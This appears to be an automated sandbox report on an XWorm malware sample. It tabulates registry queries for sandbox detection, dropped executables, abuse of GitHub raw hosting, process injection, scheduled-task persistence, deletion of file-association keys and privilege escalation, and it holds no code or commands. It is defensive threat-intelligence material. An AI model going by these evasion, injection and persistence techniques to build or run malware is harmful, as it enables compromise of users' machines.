xworm | e1ad2a54762c18ab7dad710a0518806eb2371e773768d5e68ebe104d17681707

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	MasonClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	MasonRootkit.exe

Executes dropped EXE 4 IoCs

pid	Process
2392	MasonRootkit.exe
4140	MasonRootkit.exe
3048	MasonClient.exe
5780	MasonClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
31	raw.githubusercontent.com
32	raw.githubusercontent.com
39	raw.githubusercontent.com

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4140 set thread context of 2880	4140	MasonRootkit.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4760	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00184012963234A8"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00184012963234A8 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000434c12d1fab3eb4695f545491a0a7d280000000002000000000010660000000100002000000076689898dbba9780d4db695ee08ce928c1fbddac18c5907feb2e1d7e486ddb6a000000000e80000000020000200000009e2483ea45ab8e307f30808eec9d90288404a8173b7c2fad74c0110a45b7bf948000000000e89b1bb3de7d048df73674da71e76b10c084bf24b401660fdee91f80d4d015e9bfa105b81780a14ce2574010409af1db6472ae6015e7f466fd4224763599530ec0a608fd4d5b40c86d0fb4d31846723610b48faf4294b00f412cac98e05bdc0599eb24623e1e5e822ee29c5d064b00241fbfb41819d85c6d0ef2fc04219b46400000000fde0c290083478db44edc97f8fa560c7cb634a242edd12350d07381c49d60c824bc070d2c582b408ffde0f80619b904396bdca6f18165c1cfad4197f4bfa712	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000434c12d1fab3eb4695f545491a0a7d2800000000020000000000106600000001000020000000d4cc0312c64581eed3e699d6e1a70f3da55a35648cec4127c7da894ebd2c6941000000000e80000000020000200000008128c075cde973fe172dae221db39ed99602cee4ded97e4e87811d807232333410060000afaea973446d7952009faa7de6c2817bb58c95dcd01dde6428f531a8e985ed92ca43828e019605a4fd95c1871daed49df1d0c9c6f88a5c6163040688e5f65ca1beec4dd0cbbbcc7ebca4dbdba5e1371bf242e351fcab2f85abc248f339395c9f8a52c9d904134cd01019bc72954a698d800a578a2c1a78790640fc8d3f89790f26ca8ea32d03a4f215ade05e9f2becf7c138738e3b7ffe75107c9bcdbafde61a8c2cee69eb99add5c3a49d99bb6763a0c1c7e199ba94f314bc03f12fe6afe460eac310d6092194e5d4ea7dedb8f2875e05f822b2ac5c6e62ad16f269e78cee7db76c2a0c1a9d0c3a857d3524d5a36bacc8059ef412a2226946e05d3b438199aa103846cfe9281fdb4ff0cfd9185b943a4ea09ecc8cf4563d04717a3c8d0e59b44875a228dcb6756bbf6301f182121d6d029b88ac5dfb156b74cac977be840c615610822bb7265177a5b22be28dbd7a1b99ad9b94df5e595edbdfb43648e206f66ffaeae3b3fb2885cbda920f9cf454c52d6c9889f04797cda74fac6331d0c5c98893e96f25c32e953dc5c642a71b4ecbc92e6f60e4cb96919f43df2e802fad9f9144347a4893f3a1fbd4a4ae2c4a07c01b987804cebc99f93ad6396d8e01059bd82fa24ff424eed35c500ddae366652f903cc13320bf782ed1af8b2f3807694df3fbd9e24c8e63361b5419521c7290a95a9c76ef5a75688902e2dbb677b723d4c11476606524e55734712bc16d712691ca6ae0c4f4c26e9b897e37553122d53996a9877b760cfe46a2aa39742584edcbe3115dbcd24ff56a2b247022f4641731b132d9ff752c89077aedcd621c29f45c4d78edf9d9534a4fa35e8dc4622e6b0de1013f851ca714a166206820a8cf2e9aa418875db48d3cccb70c90c1059b6a127b21fae12e38debf59daefb52f8ffd8debf20ebb5d86ed698aa7c2e06d511f35912ab3088388d3043b39d420812ceeecc5cdbfe3a9b2868c7d0a7a9cc1f1004b4b80e939512491dcb8409543e27f85491422b973012ab166c604d12abd510b8193e889718e29be833a0ad32bf0745c334e73011a66a9b3c92021aec7e04ec9f9ba181ebd94287a30975a9105b1a5ae5aa74e1470a9aaf2608b893cf4b77003aedcf4ec01b72510890eaee1ec367b993d1518abc2dc87918bd2a6d61c148dfc278c466e76803c2aa6fdb433d22c9e69ccf311985e56f45ec23a88d7c5ec18afed7928185da7d73f5be786405f9f855c7a3f4cdca53bf69e9cb1318a16f559e1f27055ddd553a636b306f498a38a96a818605d1e227e5c9593195f78d4ff7c035dac74e688e8b0950caa2a9bef411dedeac4ef33d39b24e9c2059610a029ea443a7296789303e5f1848884f5e4510afae9d740fd6012e4d9135c729574e20a84bfb5f0e967cb66a2447a2897041a8df28671fc74e046700df32398c64d5109e5e5016f37c935df892a6dead1ba1a6f0f20110ee0f99772766dda67dcaab6e43ceb17dd4249cf627191f00a48767b1fb60f01607c2b5d59042d84e7930932bbe5e2ec262a2c14cb5f48a193e75c9e9bb2fcbfc9d71d2f4290def6eab5e29e20e9ccc357db0d69561e061bdca4bfa0bcc2cf12d96df97ad267dbfcdcea3a5ac787639791f7757962f02e7be3a9a2749dc9b7aa31d914c079f9f8e8b38129ac0d04f3d61c89975f8e97666f325d35f73beef8a739396bb4531d72b9cdcd91536916817d3d92fb49ded9fa9a2eca92bc7a3069cd49af95775513cf057c016866a48a3d04798429ae1b2048191b116a8cf1b3a385bbe8b5f472102992447637538c8544b9a3b64438c74fee32daf0c2974630a68a061d10a8ae097d24dd733dfe29e272d69fa3a6eab308b45444ae341589dfbc2566e91fa8685e48223b5372211a275a4182509c82b7796eac101f61ce8840678321ff1eed9ac88166d806a979e5c7406116b885d262f08383feb38109c5822519a71137fc9e0900fa969cc8253a6569565d869234dfc986e54e3ec3143135b3720686bfbc836b925633344ea46e72687bdf83ae5a314b1bb0057dcf466c460287ff095b2a2d5746f0a143499ee3e6666945c5b04e454f64791141f1754a4264186107de094510d0f3d32ae39c39527b5681ee3ad111d4281987ad4677126d067330e635b620160d439d3f9d1e0bd94c47e6091df47550458c5aac4b8c70319d400000002b459abe035c14514591a951ef643d1850e5c3b822da4f8fae95fdb95014c649b55ff80a3cbd02f14dd1d9f42bbbc5ace2720c368614fde7ea5f7500bcef26f9	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00184012963234A8"	mousocoreworker.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\PropertySheetHandlers\CryptoSignMenu	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithList\Acrobat.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aif\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork\Shell\Decrypt\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp2\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.api\AcroExch.Plugin	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asp\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.AAC\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.386	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.amv	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ascx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asf\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.avi\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\Excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\Open With	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3g2\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\notepad.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\Winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\{90AA3A4E-1CBA-4233-B8BB-535773D48449}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.669	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.appref-ms	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.asf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ari	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\removeproperties\DropTarget	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3g2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp2	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.appxbundle	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.arw\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\OpenWithProgIds	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\IExplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3mf\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ai	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.avi\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\PropertySheetHandlers\{883373C3-BF89-11D1-BE35-080036B11A03}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.appx\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.asf\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.adt\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asf\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.avcs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.avi\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.arw	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.adt	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aspx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.accdt\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.avci	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\Open With EncryptionMenu	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithList\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aiff\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.amr	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2996	powershell.exe
2996	powershell.exe
4140	MasonRootkit.exe
4140	MasonRootkit.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
1676	wmiprvse.exe
1676	wmiprvse.exe
1676	wmiprvse.exe
1676	wmiprvse.exe
1676	wmiprvse.exe
2880	dllhost.exe
2880	dllhost.exe
1676	wmiprvse.exe
1676	wmiprvse.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe
2880	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3436	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	MasonClient.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	4140	MasonRootkit.exe
Token: SeDebugPrivilege	4140	MasonRootkit.exe
Token: SeDebugPrivilege	2880	dllhost.exe
Token: SeDebugPrivilege	3048	MasonClient.exe
Token: SeShutdownPrivilege	380	dwm.exe
Token: SeCreatePagefilePrivilege	380	dwm.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
6048	Conhost.exe
1820	Conhost.exe
948	Conhost.exe

Suspicious use of UnmapMainImage 4 IoCs

pid	Process
2540	svchost.exe
2540	svchost.exe
2540	svchost.exe
3448	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2996	2080	MasonClient.exe	87
PID 2080 wrote to memory of 2996	2080	MasonClient.exe	87
PID 2996 wrote to memory of 2392	2996	powershell.exe	90
PID 2996 wrote to memory of 2392	2996	powershell.exe	90
PID 2080 wrote to memory of 3480	2080	MasonClient.exe	91
PID 2080 wrote to memory of 3480	2080	MasonClient.exe	91
PID 2392 wrote to memory of 4140	2392	MasonRootkit.exe	96
PID 2392 wrote to memory of 4140	2392	MasonRootkit.exe	96
PID 2392 wrote to memory of 384	2392	MasonRootkit.exe	97
PID 2392 wrote to memory of 384	2392	MasonRootkit.exe	97
PID 384 wrote to memory of 4760	384	cmd.exe	100
PID 384 wrote to memory of 4760	384	cmd.exe	100
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 4140 wrote to memory of 2880	4140	MasonRootkit.exe	101
PID 2880 wrote to memory of 616	2880	dllhost.exe	5
PID 2880 wrote to memory of 672	2880	dllhost.exe	7
PID 2880 wrote to memory of 960	2880	dllhost.exe	12
PID 2880 wrote to memory of 380	2880	dllhost.exe	13
PID 2880 wrote to memory of 740	2880	dllhost.exe	14
PID 2880 wrote to memory of 1028	2880	dllhost.exe	15
PID 2880 wrote to memory of 1088	2880	dllhost.exe	16
